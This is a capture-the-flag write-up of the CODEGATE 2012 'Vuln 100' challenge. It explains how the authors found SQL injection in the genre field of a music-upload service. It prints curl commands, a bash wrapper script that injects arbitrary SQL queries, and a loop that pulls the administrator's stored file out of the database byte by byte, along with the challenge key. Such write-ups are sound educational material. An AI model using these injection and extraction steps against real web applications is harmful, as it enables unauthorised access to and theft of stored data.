26
Feb
2012

CODEGATE 2012 – Vuln 100

What is Administrator listening to the music?
Service: http://1.237.174.123:3333/

This web based challenge was an online music player service that allowed us to upload music, and listen the to the tracks we uploaded using a fancy web based audio player.
The service stated that you could only play tracks that are uploaded from your own IP.
That made us curious.. how would that check be implemented and are we able to bypass it?

Investigating the service

At first we had some trouble accessing the service, as it was very slow and most of the time the server wasn’t able to give a response back. Luckily, after a while, a mirror was made available that was a lot faster.

To upload an MP3 file, we could use a simple upload form.
To test several files, filetypes and extensions we used CURL to upload some files:

curl -s "http://1.237.174.123:3333/mp3_world/?page=upload" -F "mp3=@test.mp3;filename=test.mp3" \
   -F "genre=2" -F "title=test"

With this, we could change the content of the file “test.mp3” and the filename, to see if there were any restrictions on what kind of content you could upload.
After some trial and error we found that there was no content restriction but the filename had to end with ‘mp3’ or we got this warning:

alert('uplod mp3 file only..');

To get a list of upload files, we requested the player page /mp3_world/?page= that contained a Javascript array:

{name:"[Dance]test.mp3",filename:"./get_music.php?idx=1"}

A request to /mp3_world/get_music.php?idx=1 just returned the file we uploaded, with a audio/mpeg Content-Type header.

Unfortunately, there was no way to upload PHP code and have the server execute it, or get code execution.
So we focussed on the other form elements, genre and title, assuming they we’re used in an INSERT query, and found SQL injection in the genre input.
If we used ‘2, 1)#’ as input for genre, the player page yielded 1 as title, which means that title comes after genre in the INSERT statement and the genre content was not quoted properly.

Using SQL injection

As pointed out above, we could manipulate the INSERT statement, but we were not able to use quotes.
That was no problem at all, as we can insert strings in hexadecimal format (like 0x4141).

As we had to do 2 request to inject a query and get the response back, we created a small bash script that accepts a sql query as argument and returns the output of the query:

#!/bin/sh
curl -s "http://1.237.174.123:3333/mp3_world/?page=upload" -F "mp3=@test.mp3;filename=mp3" -F "genre=2,($1))#" -F "title=fdgfdg" 2>/dev/null >/dev/null
curl -s "http://1.237.174.123:3333/mp3_world/?page=player" | grep "name:" | awk -F "dance" '{ print $2 }' | awk -F '",filename' '{ print $1 }' | cut -c 2-

Analyzing the database

We wanted to get a clear view on the structure of the database, so we extracted data from information_schema to receive table and column information.
It turned out that for each host, a separate table was created for the uploaded data.
Each table had 4 columns: idx, genre, title and file.

Now we had to get back to our objective, find out what music the Administrator is listening to.
How can we find out from which IP the admin is uploading music? Some internal IP address?
Ah! There exists a table for 127.0.0.1!

Using the query below we found out that there was one row in the table for 127.0.0.1. The title was ‘admin’s song’.

$ ./do.sh "SELECT GROUP_CONCAT(title) FROM upload_mp3_127_0_0_1"
admin`s_song

Using the same query it seemed that the file column was empty, or was it?
Digging a little bit deeper revealed that it does contain data:

$ ./do.sh "SELECT ord(substring(file,1,1)) FROM upload_mp3_127_0_0_1"
255

Now we only had to extract all the bits from the cell, and see what kind of data we’re dealing with..

Getting the file!

First, we found out the total size of the file using:

$ ./do.sh "SELECT LENGTH(file) FROM upload_mp3_127_0_0_1 LIMIT 0,1"
366062

To extract the whole file from the table, we used the following bash line:

$ for i in `seq 0 16384 366062`; do ./do.sh "SELECT HEX(substring(file,$i,16384)) FROM upload_mp3_127_0_0_1" \
  | xxd -r -p - >> final_vuln100.mp3; done;

The file appeared to be an MP3 file (what would you expect? :), and had a text to speech generated message, containing the key UPL04D4NDP14Y.

After all, the hardest part was finding the actual sql injection. After that, everything was pretty straightforward.
We could extract the whole structure of the database, and were able to fetch files from other hosts using the SQL injection in genre, thus bypassing the security check.

Thanks to the Codegate 2012 organizers for this funny challenge πŸ™‚

Comments are closed.